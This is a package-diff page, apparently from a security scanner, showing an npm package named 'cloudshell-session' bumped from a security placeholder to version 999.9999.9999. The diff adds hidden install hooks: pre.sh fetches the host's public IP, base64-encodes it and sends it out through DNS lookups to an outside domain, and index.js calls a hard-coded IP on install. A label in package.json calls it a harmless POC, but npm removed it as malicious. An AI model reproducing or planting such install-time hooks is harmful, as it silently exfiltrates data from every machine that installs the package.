cloudshell-session 0.0.1-security → 999.9999.9999

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of cloudshell-session might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/index.js +21 -0
  2. package/package.json +10 -3
  3. package/pre.sh +3 -0
  4. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,21 @@
1
+ const http = require('http')
2
+ const options = {
3
+ hostname: '35.86.142.152',
4
+ port: 80,
5
+ path: '/Oracle_cloushell-session_POC',
6
+ method: 'GET'
7
+ }
8
+
9
+ const req = http.request(options, res => {
10
+ console.log(`statusCode: ${res.statusCode}`)
11
+
12
+ res.on('data', d => {
13
+ process.stdout.write(d)
14
+ })
15
+ })
16
+
17
+ req.on('error', error => {
18
+ console.error(error)
19
+ })
20
+
21
+ req.end()
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "cloudshell-session",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "999.9999.9999",
4
+ "description": "This is a test package (non malicious) for Oracle Cloud Platform POC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "./pre.sh",
9
+ "install": "node index.js"
10
+ },
11
+ "author": "lbs from Orca Security",
12
+ "license": "ISC"
6
13
  }
package/pre.sh ADDED
@@ -0,0 +1,3 @@
1
+ #!/bin/bash
2
+
3
+ curl -k ifconfig.me | base64 > exfil.txt | while read exfil; do host $exfil.sub.0xczar.com 35.86.142.152; done
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=cloudshell-session for more information.